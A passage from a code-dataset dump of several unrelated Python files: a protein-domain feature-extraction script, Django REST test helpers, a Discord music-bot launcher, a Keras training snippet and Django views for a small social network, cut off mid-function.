len(ac_str)\n ac_sum_syn = [0] * len(ac_str)\n ac_sum_nonsyn = [0] * len(ac_str)\n an_list = [[] for i in range(len(an_str))]\n pop_maf_list = [[] for i in range(len(an_str))]\n pop_maf_syn_list = [[] for i in range(len(an_str))]\n pop_maf_nonsyn_list = [[] for i in range(len(an_str))]\n\n # Iterating the state dict to get properties\n for d in states_dict[state]:\n\n # a list of all maf per instance\n maf_list.append(d[\"af_adj\"])\n\n # Creating a position pseudo-ref sequence\n ref_codon = d[\"bp_ref\"]\n ref_seq = ref_seq + ref_codon\n\n # Calculating frequency-based N/S\n bp_af_adj_dict = d[\"bp_af_adj_dict\"]\n for alt_codon in bp_af_adj_dict.keys():\n alt_aa = codon_table[alt_codon]\n # syn\n if alt_aa == d[\"aa_ref\"]:\n Sd += bp_af_adj_dict[alt_codon]\n # Non-syn\n else:\n Nd += bp_af_adj_dict[alt_codon]\n\n # Major allele parameters\n aa_ref = d[\"aa_ref\"]\n aa_ref_pos = AMINO_ACIDS.index(aa_ref)\n aa_ref_hist[aa_ref_pos] += 1\n\n # Conservation scores\n phastCons_curr_list = d[\"phastCons\"]\n if len(phastCons_curr_list) > 0:\n phastCons_dict[1].append(phastCons_curr_list[0])\n if len(phastCons_curr_list) > 1:\n phastCons_dict[2].append(phastCons_curr_list[1])\n else:\n phastCons_dict[2].append(np.nan)\n if len(phastCons_curr_list) > 2:\n phastCons_dict[3].append(phastCons_curr_list[2])\n else:\n phastCons_dict[3].append(np.nan)\n\n phyloP_curr_list = d[\"phyloP\"]\n if len(phyloP_curr_list) > 0:\n phyloP_dict[1].append(phyloP_curr_list[0])\n if len(phyloP_curr_list) > 1:\n phyloP_dict[2].append(phyloP_curr_list[1])\n else:\n phyloP_dict[2].append(np.nan)\n if len(phyloP_curr_list) > 2:\n phyloP_dict[3].append(phyloP_curr_list[2])\n else:\n phyloP_dict[3].append(np.nan)\n\n jsd100way_list.append(d[\"100-way-BLOSUM_JSD\"])\n\n # SPIDER parameters (add only if exist)\n if \"spider2-2nd_struct\" in d:\n spider_dict[\"spider2-2nd_struct\"].append(d[\"spider2-2nd_struct\"])\n spider_dict[\"spider2-helix_prob\"].append(float(d[\"spider2-helix_prob\"]))\n spider_dict[\"spider2-sheet_prob\"].append(float(d[\"spider2-sheet_prob\"]))\n spider_dict[\"spider2-turn_prob\"].append(float(d[\"spider2-turn_prob\"]))\n spider_dict[\"spider2-angle_Phi\"].append(float(d[\"spider2-angle_Phi\"]))\n spider_dict[\"spider2-angle_Psi\"].append(float(d[\"spider2-angle_Psi\"]))\n spider_dict[\"spider2-angle_tau\"].append(float(d[\"spider2-angle_tau\"]))\n spider_dict[\"spider2-angle_theta\"].append(float(d[\"spider2-angle_theta\"]))\n spider_dict[\"spider2-ASA\"].append(float(d[\"spider2-ASA\"]))\n spider_dict[\"spider2-hsa2_HSEu\"].append(float(d[\"spider2-hsa2_HSEu\"]))\n spider_dict[\"spider2-hsa2_HSEd\"].append(float(d[\"spider2-hsa2_HSEd\"]))\n spider_dict[\"spider2-hsb2_HSEu\"].append(float(d[\"spider2-hsb2_HSEu\"]))\n spider_dict[\"spider2-hsb2_HSEd\"].append(float(d[\"spider2-hsb2_HSEd\"]))\n spider_dict[\"spider2-hsa2_CN\"].append(float(d[\"spider2-hsa2_CN\"]))\n spider_dict[\"spider2-hsb2_CN\"].append(float(d[\"spider2-hsb2_CN\"]))\n\n protein_pos_list.append(d[\"prot_pos\"])\n protein_len_list.append(d[\"prot_len\"])\n\n if d[\"af_adj\"] > 0:\n sites_aa_alter_num += 1\n sites_snp_alter_num += len(d[\"an_adj\"])\n\n # Number of different polymorphisms at this site\n site_poly_num = len(d[\"alterations_af_adj_dict\"].keys())\n sites_poly_aa_num += site_poly_num\n if site_poly_num > 1:\n sites_poly_aa_several += 1\n\n # Rare poly features\n\n for alt_codon in bp_af_adj_dict.keys():\n # Add to counters only nonsyn SNPs\n if codon_table[alt_codon] != codon_table[ref_codon]:\n if bp_af_adj_dict[alt_codon] < MAFT_005:\n rare_005_num += 1\n rare_05_num += 1\n rare_5_num += 1\n elif bp_af_adj_dict[alt_codon] < MAFT_05:\n rare_05_num += 1\n rare_5_num += 1\n elif bp_af_adj_dict[alt_codon] < MAFT_5:\n rare_5_num += 1\n\n # Alt, BLOSUM62 and PAM40 features\n ref = d[\"aa_ref\"]\n for alt in d[\"alterations_af_adj_dict\"].keys():\n af_adj = np.mean(d[\"alterations_af_adj_dict\"][alt])\n # BLOSUM\n blosum_val = blosum62_dict[ref][alt]\n blosum62_list.append(blosum_val)\n weigted_blosum62_list.append(blosum_val * af_adj)\n # PAM\n pam_val = pam40_dict[ref][alt]\n pam40_list.append(pam_val)\n weigted_pam40_list.append(pam_val * af_adj)\n # Alt aa counts\n aa_alt_pos = AMINO_ACIDS.index(alt)\n aa_alt_hist[aa_alt_pos] += 1\n # Alt aa prob.\n aa_alt_prob[aa_alt_pos] += af_adj\n # ref-alt pairs\n ref_alt_pairs.append((ref, alt, af_adj))\n\n # SIFT\n sift_list = d[\"SIFT\"]\n for i in range(len(sift_list)):\n s = sift_list[i]\n if s != \"\":\n try:\n s_af = bp_af_adj_dict[d[\"bp_list\"][i]]\n except:\n # The major allele was replaced, no score available for the correct substitution\n continue\n sift_score = float(s[s.find(\"(\") + 1:s.find(\")\")])\n sift_scores_list.append(sift_score)\n weighted_sift_scores_list.append(sift_score * s_af)\n\n # PolyPhen\n polyphen_list = d[\"PolyPhen\"]\n for i in range(len(polyphen_list)):\n s = polyphen_list[i]\n if s != \"\":\n try:\n s_af = bp_af_adj_dict[d[\"bp_list\"][i]]\n except:\n # The major allele was replaced, no score available for the correct substitution\n continue\n polyphen_score = float(s[s.find(\"(\") + 1:s.find(\")\")])\n polyphen_scores_list.append(polyphen_score)\n weighted_polyphen_scores_list.append(polyphen_score * s_af)\n polyphen_pred_list.append(s[:s.find(\"(\")])\n\n # clinVar\n curr_clinsig_list = d[\"clin_sig\"]\n for i in range(len(curr_clinsig_list)):\n s = curr_clinsig_list[i]\n if s != \"\":\n try:\n s_af = bp_af_adj_dict[d[\"bp_list\"][i]]\n except:\n # The major allele was replaced, no score available for the correct substitution\n continue\n clinsig_list.append(s)\n clinsig_af.append(s_af)\n\n # Saving indices of syn and non-syn bps\n syn_idx = []\n nonsyn_idx = []\n for i in range(len(d[\"bp_list\"])):\n ref_aa = d[\"aa_ref\"]\n alt_bp = d[\"bp_list\"][i]\n alt_aa = codon_table[alt_bp.upper()]\n if alt_aa == ref_aa:\n syn_idx.append(i)\n else:\n nonsyn_idx.append(i)\n\n # Summing the AC per population\n for i in range(len(ac_str)):\n ac = ac_str[i]\n ac_sum[i] += sum(d[ac])\n # Summing syn and non-syn separately\n ac_sum_syn[i] += sum(np.array(d[ac])[syn_idx])\n ac_sum_nonsyn[i] += sum(np.array(d[ac])[nonsyn_idx])\n\n # Averaging the AN per population, to do that, gathering all an to a list\n for i in range(len(an_str)):\n an = an_str[i]\n (an_list[i]).extend(d[an])\n\n # Averaging the MAF per population, to do that: gathering all maf!=0 to a list\n for i in range(len(an_str)):\n ac = ac_str[i]\n an = an_str[i]\n for j in range(len(d[ac])):\n if d[an][j] != 0:\n pop_maf = d[ac][j] / float(d[an][j])\n if pop_maf != 0:\n if j in syn_idx:\n pop_maf_syn_list[i].append(pop_maf)\n else:\n pop_maf_nonsyn_list[i].append(pop_maf)\n pop_maf_list[i].append(pop_maf)\n\n features_dict['state_id'] = state_id\n features_dict['domain_name'] = domain\n\n for i in range(len(AMINO_ACIDS)):\n if aa_alt_prob[i] > 0:\n aa_alt_prob_avg[i] = aa_alt_prob[i] / float(aa_alt_hist[i])\n\n features = [\n\n ExAC_MAF_features(sites_aa_num, sites_aa_alter_num, maf_list),\n ExAC_population_features(pop_maf_list, pop_maf_syn_list, pop_maf_nonsyn_list),\n ExAC_count_features(sites_aa_num, sites_aa_alter_num, sites_snp_num, sites_snp_alter_num),\n ExAC_rareSNP_features(sites_snp_alter_num, rare_5_num, rare_05_num, rare_005_num),\n\n conservation_features(phastCons_dict, phyloP_dict),\n\n sub_matrix_features(blosum62_list, weigted_blosum62_list, 'blosum'),\n sub_matrix_features(pam40_list, weigted_pam40_list, 'pam'),\n\n pseudo_dNdS_features(ref_seq, Nd, Sd),\n pfam_emission_prob_features(hmm_prob_dict, state),\n pfam_conserved_state_feature(state, con_states_dict),\n\n SIFT_features(sift_scores_list, weighted_sift_scores_list),\n PolyPhen_features(polyphen_scores_list, polyphen_pred_list, weighted_polyphen_scores_list),\n ClinVar_scores(clinsig_list, clinsig_af),\n\n entropy_features(maf_list),\n instance_individuals_100way_change_features(maf_list, aa_ref_hist, jsd100way_list),\n\n aa_identity_features(aa_ref_hist, \"aa_ref\"),\n major_allele_charge(aa_ref_hist),\n major_allele_hydrophobicity(aa_ref_hist),\n major_allele_volume(aa_ref_hist),\n major_allele_functional_group(aa_ref_hist),\n major_allele_propensity(aa_ref_hist),\n major_allele_h_bonds(aa_ref_hist),\n\n aa_identity_features(aa_alt_hist, \"aa_alt_cnt\"),\n aa_identity_features(aa_alt_prob_avg, \"aa_alt_avg_freq\"),\n\n sub_diff_hydrophobicity(ref_alt_pairs),\n sub_diff_volume(ref_alt_pairs),\n sub_diff_functional_group(ref_alt_pairs),\n sub_diff_propensity(ref_alt_pairs),\n sub_diff_h_bonds(ref_alt_pairs),\n\n spider_solvent_acc_pred(spider_dict),\n spider_contact_number_pred(spider_dict),\n spider_angles_pred(spider_dict),\n spider_struct_pred(spider_dict),\n spider_half_sphere_exposure_pred(spider_dict),\n\n whole_domain_conservation(states_dict),\n domain_location_features(state, max([k for k in states_dict if isinstance(k, int)])),\n protein_location_features(protein_pos_list, protein_len_list)\n\n ]\n\n for feature in features:\n features_dict.update(feature)\n features_list.append(features_dict)\n\n domains_features_df = pd.DataFrame(features_list)\n domains_features_df = domains_features_df.set_index('state_id')\n domains_features_df = domains_features_df.sort_index()\n\n to_lowercase_fields = 'maf_nonsyn_AMR maf_syn_SAS maf_NFE maf_nonsyn_EAS maf_AMR maf_nonsyn_FIN maf_syn_AFR maf_syn_EAS maf_syn_OTH maf_nonsyn_SAS maf_nonsyn_AFR maf_syn_FIN maf_FIN maf_nonsyn_NFE maf_EAS maf_AFR maf_nonsyn_OTH maf_SAS maf_OTH maf_syn_AMR maf_syn_NFE'.split()\n domains_features_df = domains_features_df.rename(columns={x: x.lower() for x in to_lowercase_fields})\n domains_features_df.to_csv(OUTPUT_CSV, sep='\\t', index_label='')\n\n","repo_name":"Singh-Lab/dSPRINT","sub_path":"scripts/9.Features_exploration/positions_features.py","file_name":"positions_features.py","file_ext":"py","file_size_in_byte":53939,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"4240799273","text":"import json\nfrom copy import deepcopy\n\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\nfrom django.test import TestCase\nfrom rest_framework.test import APIClient\n\nfrom base.models import User\nfrom base.test_settings import backend_url, roles\nfrom util.data_generators import createUser\n\n\ndef get_authenticated_client(role=\"admin\"):\n user = createUser(role)\n client = APIClient()\n client.force_authenticate(user=user)\n return client\n\n\ndef errorMessage(name, expected, got):\n return f\"[TEST FAILED]\\tname: {name}\\tgot: {got} (type: {type(got)})\\texpected: {expected} (type: {type(expected)})\"\n\n\nclass BaseTest(TestCase):\n data1 = None\n data2 = None\n\n def setUp(self):\n self.client = get_authenticated_client()\n\n def empty_list(self, url):\n resp = self.client.get(backend_url + \"/\" + url + \"all/\", follow=True)\n assert resp.status_code == 200, errorMessage(\"empty_list\", 200, resp.status_code)\n data = [resp.data[e] for e in resp.data]\n assert len(data) == 0, errorMessage(\"empty_list\", 0, len(data))\n\n def insert(self, url, excluded=None):\n if excluded is None:\n excluded = []\n assert self.data1 is not None, \"no data found\"\n data = self.data1\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n resp = self.client.post(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n resp = self.client.post(backend_url + \"/\" + url, data, follow=True)\n assert resp.status_code == 201, errorMessage(\"insert\", 201, resp.status_code)\n for key in self.data1:\n if key in excluded:\n continue\n assert key in resp.data, errorMessage(\"insert\", key, None)\n if type(self.data1[key]) == InMemoryUploadedFile:\n continue\n assert self.data1[key] == resp.data[key], errorMessage(\n f\"insert (key:{key})\", self.data1[key], resp.data[key]\n )\n assert \"id\" in resp.data, errorMessage(\"insert\", \"id\", None)\n\n def insert_empty(self, url):\n resp = self.client.post(backend_url + \"/\" + url, {}, follow=True)\n print(resp)\n assert resp.status_code == 400, errorMessage(\"insert_empty\", 400, resp.status_code)\n\n def insert_dupe(self, url, special=None):\n assert self.data1 is not None, \"no data found\"\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n _ = self.client.post(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n _ = self.client.post(backend_url + \"/\" + url, self.data1, follow=True)\n # _ = self.client.post(backend_url + \"/\" + url, self.data1, follow=True)\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n response = self.client.post(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n response = self.client.post(backend_url + \"/\" + url, self.data1, follow=True)\n\n # response = self.client.post(backend_url + \"/\" + url, self.data1, follow=True)\n if special is None:\n assert response.status_code == 400, errorMessage(\"insert_dupe\", 400, response.status_code)\n else:\n assert response.status_code == special, errorMessage(\"insert_dupe\", special, response.status_code)\n\n def get(self, url, data):\n response2 = self.client.get(backend_url + \"/\" + url, follow=True)\n assert response2.status_code == 200, errorMessage(\"get\", 200, response2.status_code)\n for key in data:\n # all data should be present\n assert key in response2.data, errorMessage(\"get\", key, None)\n if type(data[key]) == InMemoryUploadedFile:\n continue\n assert data[key] == response2.data[key], errorMessage(\"get (key:{key})\", data[key], response2.data[key])\n # an ID should be present\n assert \"id\" in response2.data, errorMessage(\"insert\", \"id\", None)\n\n def get_non_existent(self, url):\n resp = self.client.get(backend_url + \"/\" + url + \"1234567\", follow=True)\n assert resp.status_code == 404, errorMessage(\"get_non_existent\", 404, resp.status_code)\n\n def patch(self, url, special=None, excluded=None):\n if excluded is None:\n excluded = []\n if special is None:\n special = []\n assert self.data1 is not None, \"no data found\"\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n response2 = self.client.patch(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n response2 = self.client.patch(backend_url + \"/\" + url, self.data1, follow=True)\n # response2 = self.client.patch(backend_url + \"/\" + url, self.data1, follow=True)\n assert response2.status_code == 200, errorMessage(\"patch\", 200, response2.status_code)\n response3 = self.client.get(backend_url + \"/\" + url, follow=True)\n checked = []\n for key, value in special:\n if key in excluded:\n continue\n assert key in response3.data, errorMessage(\"patch\", key, None)\n assert value == response3.data[key], errorMessage(\"patch\", value, response3.data[key])\n checked.append(key)\n for key in self.data1:\n if key in checked or key in excluded:\n continue\n # all data should be present\n assert key in response3.data, errorMessage(\"patch\", key, None)\n if type(self.data1[key]) == InMemoryUploadedFile:\n continue\n assert self.data1[key] == response3.data[key], errorMessage(\"patch\", self.data1[key], response3.data[key])\n assert response3.status_code == 200, errorMessage(\"patch\", 200, response3.status_code)\n assert \"id\" in response3.data, errorMessage(\"patch\", \"id\", None)\n\n def patch_invalid(self, url):\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n response2 = self.client.patch(\n backend_url + \"/\" + url + \"123434687658/\", data, content_type=\"application/json\", follow=True\n )\n else:\n response2 = self.client.patch(backend_url + \"/\" + url + \"123434687658/\", self.data1, follow=True)\n # response2 = self.client.patch(backend_url + \"/\" + url + \"123434687658/\", self.data1, follow=True)\n assert response2.status_code == 404, errorMessage(\"patch_invalid\", 404, response2.status_code)\n\n def patch_error(self, url, special=None):\n assert self.data1 is not None, \"no data found\"\n assert self.data2 is not None, \"no data found\"\n # taking a deepcopy to fix file issues when uploading pictures\n backup = deepcopy(self.data2)\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n response1 = self.client.post(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n response1 = self.client.post(backend_url + \"/\" + url, self.data1, follow=True)\n\n # response1 = self.client.post(backend_url + \"/\" + url, self.data1, follow=True)\n if \"region\" in self.data2:\n data = json.dumps(self.data2)\n _ = self.client.post(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n _ = self.client.post(backend_url + \"/\" + url, self.data2, follow=True)\n\n # _ = self.client.post(backend_url + \"/\" + url, self.data2, follow=True)\n assert response1.status_code == 201, errorMessage(\"patch_error\", 201, response1.status_code)\n result_id = response1.data[\"id\"]\n if \"region\" in backup:\n data = json.dumps(backup)\n response2 = self.client.patch(\n backend_url + \"/\" + url + f\"{result_id}\", data, content_type=\"application/json\", follow=True\n )\n else:\n response2 = self.client.patch(backend_url + \"/\" + url + f\"{result_id}\", backup, follow=True)\n\n # response2 = self.client.patch(backend_url + \"/\" + url + f\"{result_id}/\", backup, follow=True)\n if special is None:\n assert response2.status_code == 400, errorMessage(\"patch_error\", 400, response2.status_code)\n else:\n assert response2.status_code == special, errorMessage(\"patch_error\", special, response2.status_code)\n\n def remove(self, url, special=None):\n response2 = self.client.delete(backend_url + \"/\" + url, follow=True)\n assert response2.status_code == 204, errorMessage(\"remove\", 204, response2.status_code)\n response3 = self.client.get(backend_url + \"/\" + url, follow=True)\n if special is not None:\n assert response3.status_code == special, errorMessage(\"remove\", special, response3.status_code)\n else:\n assert response3.status_code == 404, errorMessage(\"remove\", 404, response3.status_code)\n\n def remove_invalid(self, url):\n response2 = self.client.delete(backend_url + \"/\" + url + \"123434687658\", follow=True)\n assert response2.status_code == 404, errorMessage(\"remove_invalid\", 404, response2.status_code)\n\n\ndef auth_error_message(name, role, got, expected):\n return f\"[TEST FAILED]\\tname: {name}\\trole: {role}\\tcode: {got} (expected {expected})\"\n\n\nclass BaseAuthTest(TestCase):\n data1 = None\n\n def list_view(self, url, codes):\n for role in roles:\n client = get_authenticated_client(role)\n resp = client.get(backend_url + \"/\" + url + \"all/\")\n assert resp.status_code == codes[role], auth_error_message(\"list_view\", role, resp.status_code, codes[role])\n\n def insert_view(self, url, codes, special=None):\n if special is None:\n special = []\n adminClient = get_authenticated_client()\n for role in roles:\n client = get_authenticated_client(role)\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n resp = client.post(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n resp = client.post(backend_url + \"/\" + url, self.data1, follow=True)\n\n # resp = client.post(backend_url + \"/\" + url, self.data1, follow=True)\n assert resp.status_code == codes[role], auth_error_message(\n \"insert_view\", role, resp.status_code, codes[role]\n )\n if resp.status_code == 201:\n result_id = resp.data[\"id\"]\n _ = adminClient.delete(backend_url + \"/\" + url + str(result_id))\n for user_id, result in special:\n user = User.objects.filter(id=user_id).first() # there should only be 1\n if not User:\n raise ValueError(\"user not valid\")\n client = APIClient()\n client.force_authenticate(user=user)\n # response2 = client.post(backend_url + \"/\" + url, self.data1, follow=True)\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n response2 = client.post(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n response2 = client.post(backend_url + \"/\" + url, self.data1, follow=True)\n assert response2.status_code == result, auth_error_message(\n \"insert_view (special case)\", user.role.name, response2.status_code, result\n )\n if response2.status_code == 201:\n result_id = response2.data[\"id\"]\n _ = adminClient.delete(backend_url + \"/\" + url + str(result_id))\n\n def get_view(self, url, codes, special=None):\n if special is None:\n special = []\n for role in roles:\n client = get_authenticated_client(role)\n response2 = client.get(backend_url + \"/\" + url, follow=True)\n assert response2.status_code == codes[role], auth_error_message(\n \"get_view\", role, response2.status_code, codes[role]\n )\n for user_id, result in special:\n user = User.objects.filter(id=user_id).first() # there should only be 1\n if not User:\n raise ValueError(\"user not valid\")\n client = APIClient()\n client.force_authenticate(user=user)\n response2 = client.get(backend_url + \"/\" + url, follow=True)\n assert response2.status_code == result, auth_error_message(\n \"get_view (special case)\", user.role.name, response2.status_code, result\n )\n\n def patch_view(self, url, codes, special=None):\n if special is None:\n special = []\n for role in roles:\n client = get_authenticated_client(role)\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n response2 = client.patch(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n response2 = client.patch(backend_url + \"/\" + url, self.data1, follow=True)\n # response2 = client.patch(backend_url + \"/\" + url, self.data1, follow=True)\n assert response2.status_code == codes[role], auth_error_message(\n \"patch_view\", role, response2.status_code, codes[role]\n )\n for user_id, result in special:\n user = User.objects.filter(id=user_id).first() # there should only be 1\n if not User:\n raise ValueError(\"user not valid\")\n client = APIClient()\n client.force_authenticate(user=user)\n if \"region\" in self.data1:\n data = json.dumps(self.data1)\n response2 = client.patch(backend_url + \"/\" + url, data, content_type=\"application/json\", follow=True)\n else:\n response2 = client.patch(backend_url + \"/\" + url, self.data1, follow=True)\n # response2 = client.patch(backend_url + \"/\" + url, self.data1, follow=True)\n assert response2.status_code == result, auth_error_message(\n \"patch_view (special case)\", user.role.name, response2.status_code, result\n )\n\n def remove_view(self, url, codes, create):\n exists = False\n instance_id = -1\n for role in roles:\n if not exists:\n instance_id = create()\n # try to remove as `role`\n client = get_authenticated_client(role)\n response2 = client.delete(backend_url + \"/\" + url + f\"{instance_id}/\", follow=True)\n assert response2.status_code == codes[role], auth_error_message(\n \"remove_view\", role, response2.status_code, codes[role]\n )\n exists = codes[role] != 204\n","repo_name":"SELab-2/Dr-Trottoir-4","sub_path":"backend/util/test_tools.py","file_name":"test_tools.py","file_ext":"py","file_size_in_byte":14850,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"32556250371","text":"import configparser\nimport traceback\n\nfrom discord.ext import commands\n\n##########################################################################################\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\ndiscord_token = config['discord']['Token']\n\n\n##########################################################################################\n\nclass MusicBot(commands.Bot):\n inital_extensions = ['cogs.music']\n\n async def on_ready(self):\n print(f'Logged in as {self.user}')\n\n async def on_message(self, message):\n print(f'Message from {message.author}: {message.content}')\n await self.process_commands(message)\n\n\nclient = MusicBot(command_prefix=commands.when_mentioned_or('!'))\n\nif __name__ == '__main__':\n for extesions in client.inital_extensions:\n try:\n client.load_extension(extesions)\n except Exception as e:\n traceback.print_exc()\n\nclient.run(discord_token)\n\n","repo_name":"Lord-Leonard/Jabba_The_Bot","sub_path":"musicBot.py","file_name":"musicBot.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2318108317","text":"import numpy as np\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nimport pandas as pd\n\n\n\ndef create_model(input_dim):\n model = Sequential()\n model.add(Dense(64, activation='relu', input_dim=input_dim))\n model.add(Dense(32, activation='relu'))\n model.add(Dense(1, activation='sigmoid'))\n model.compile(optimizer='adam', loss='binary_crossentropy',metrics=['accuracy'])\n return model\n\n\ndef train_model_from_pandas(csv_filename):\n df=pd.read_csv(csv_filename)\n data=df.to_numpy()\n nb_columns=data.shape[1]-1 # columns\n model=create_model(nb_columns)\n X = data[:, :nb_columns]\n y = data[:, nb_columns]\n model.fit(X,y,epochs=100,validation_split=0.2)\n\n\n","repo_name":"stephanraaijmakers/deeplearning_utils","sub_path":"code/numpy_pandas_keras.py","file_name":"numpy_pandas_keras.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12414496242","text":"from django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom django.contrib.auth import login\nfrom django.contrib.auth import authenticate\n\nfrom .models import Message,Friend,Group,Good\nfrom .forms import GroupCheckForm,GroupSelectForm,\\\n SearchForm,FriendsForm,CreateGroupForm,PostForm, SignUpForm\n\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\n\n# indexのビュー関数\n@login_required(login_url='/sns/login/')\ndef index(request):\n (public_user, public_group) = get_public()\n \n if request.method == 'POST':\n \n if request.POST['mode'] == '__check_form__':\n #フォームの作成\n searchform = SearchForm()\n checkform = GroupCheckForm(request.user, request.POST)\n #選択されたグループ名の取得\n glist = []\n #グループ名のループ\n for group in request.POST.getlist('groups'):\n glist.append(group)\n #チェックしたグループに所属するメッセージの取得\n messages = get_your_group_message(request.user, glist, None)\n \n if request.POST['mode'] == '__search_form__':\n searchform = SearchForm(request.POST)\n checkform = GroupCheckForm(request.user)\n groups = Group.objects.filter(owner=request.user)\n glist = [public_group]\n for group in groups:\n glist.append(group)\n messages = get_your_group_message(request.user, glist, \\\n request.POST['search'])\n \n else:\n searchform = SearchForm()\n checkform = GroupCheckForm(request.user)\n groups = Group.objects.filter(owner=request.user)\n glist = [public_group]\n for group in groups:\n glist.append(group)\n messages = get_your_group_message(request.user, glist, None)\n \n params = {\n 'login_user':request.user,\n 'contents':messages,\n 'check_form':checkform,\n 'search_form':searchform,\n }\n \n return render(request, 'sns/index.html', params)\n \n#group編集画\n@login_required(login_url='/sns/login/')\ndef groups(request):\n friends = Friend.objects.filter(owner=request.user)\n\n #POSTアクセス時 \n if request.method == 'POST': \n if request.POST['mode'] == '__groups_form__':\n sel_group_name = request.POST['groups']\n sel_group = Group.objects.filter(owner=request.user) \\\n .filter(title=sel_group_name).first() \n check_friends = Friend.objects.filter(owner=request.user) \\\n .filter(group=sel_group) \n userlist = []\n for friend in check_friends:\n userlist.append(friend.user.username) \n groupsform =GroupSelectForm(request.user, request.POST)\n friendsform = FriendsForm(request.user, \\\n friends = friends, vals = userlist)\n \n if request.POST['mode'] == '__friends_form__':\n sel_group_name = request.POST['group']\n sel_group = Group.objects.filter(owner=request.user) \\\n .filter(title=sel_group_name).first()\n # 選択したGroupが '-'出会った場合の処理\n if sel_group == None:\n messages.info(request, ' Groupを選択してください。')\n return redirect(to='/sns/groups')\n check_friend_names = request.POST.getlist('friends')\n check_users = User.objects.filter(username__in=check_friend_names)\n friends = Friend.objects.filter(owner = request.user) \\\n .filter(user__in=check_users)\n userlist = []\n for friend in friends:\n friend.group = sel_group\n friend.save()\n userlist.append(friend.user.username)\n messages.success(request, ' チェックされたFriendを' + \\\n sel_group_name + ' に登録しました') \n groupsform = GroupSelectForm(request.user, {'groups':sel_group})\n friendsform = FriendsForm(request.user, \\\n friends=friends, vals=userlist)\n \n #GETアクセス時\n else:\n groupsform = GroupSelectForm(request.user)\n friendsform = FriendsForm(request.user, friends=friends, vals=[])\n sel_group_name = '-'\n \n createform = CreateGroupForm()\n params = {\n 'login_user':request.user,\n 'groups_form':groupsform,\n 'friends_form':friendsform,\n 'create_form':createform,\n 'group_name':sel_group_name,\n }\n return render(request, 'sns/groups.html', params)\n\n#Friendの追加処理 \n@login_required(login_url='/sns/login/')\ndef add(request):\n add_name = request.GET['name']\n add_user = User.objects.get(username=add_name)\n #自身をaddしようとした場合の処理\n if add_user == request.user:\n messages.info(request, \"自分自身をFriendに追加することはできません。\")\n return redirect(to='/sns')\n #既にFriendである場合の処理\n friend_num = Friend.objects.filter(owner=request.user) \\\n .filter(user=add_user).count()\n # friend_numが1であれば、既に登録されているということ\n if friend_num > 0:\n messages.info(request, add_user.username + \\\n ' はすでに追加されています。')\n return redirect(to='/sns')\n (public_user, public_group) = get_public()\n #Friendの登録処理\n friend_obj = Friend()\n friend_obj.owner = request.user\n friend_obj.user = add_user\n friend_obj.group = public_group\n friend_obj.save()\n messages.success(request, add_user.username + ' を追加しました! \\\n groupページに移動して、追加したFriendをメンバーに設定してください。')\n return redirect(to='/sns')\n#Groupの作成処理\n@login_required(login_url='/sns/login/')\ndef creategroup(request):\n group_name = request.POST['group_name']\n group_num = Group.objects.filter(owner=request.user) \\\n .filter(title=group_name).count()\n if group_num > 0:\n messages.info(request, group_name + ' はすでに存在します。')\n return redirect(to='/sns/groups')\n #Groupの登録\n group_obj = Group()\n group_obj.owner = request.user\n group_obj.title = group_name\n group_obj.save()\n messages.info(request, '新しいグループを追加しました。')\n return redirect(to='/sns/groups')\n \n#メッセージのポスト処理\n@login_required(login_url='/sns/login/')\ndef post(request):\n if request.method == 'POST':\n content = request.POST['content']\n group_name = request.POST['groups']\n group_obj = Group.objects.filter(owner=request.user) \\\n .filter(title=group_name).first() \n if group_obj == None:\n (pub_user, group_obj) = get_public()\n msg = Message()\n msg.owner = request.user\n msg.group = group_obj\n msg.content = content\n msg.save()\n messages.success(request, '新しいメッセージを投稿しました。')\n return redirect(to='/sns')\n #GETアクセス時\n else:\n postform = PostForm(request.user)\n \n params = {\n 'login_user':request.user,\n 'form':postform,\n }\n return render(request, 'sns/post.html', params)\n \n@login_required(login_url='/sns/login/')\ndef share(request, share_id):\n share_message = Message.objects.get(id=share_id)\n \n if request.method == 'POST':\n group_name = request.POST['groups']\n content = request.POST['content']\n group = Group.objects.filter(owner=request.user) \\\n .filter(title=group_name).first()\n if group == None:\n (pub_user, group) = get_public()\n message = Message()\n message.owner = request.user\n message.group = group\n message.content = content\n message.share_id = share_message.id\n message.save()\n share_message.share_count += 1\n share_message.save()\n messages.success(request, 'メッセージをシェアしました。')\n return redirect(to='/sns')\n \n form = PostForm(request.user)\n params = {\n 'login_user':request.user,\n 'form':form,\n 'share':share_message,\n }\n return render(request, 'sns/share.html', params)\n \n@login_required(login_url='/sns/login/')\ndef good(request, good_id):\n \n good_message = Message.objects.get(id=good_id)\n is_good = Good.objects.filter(owner=request.user) \\\n .filter(message=good_message).count()\n if is_good > 0:\n messages.success(request, 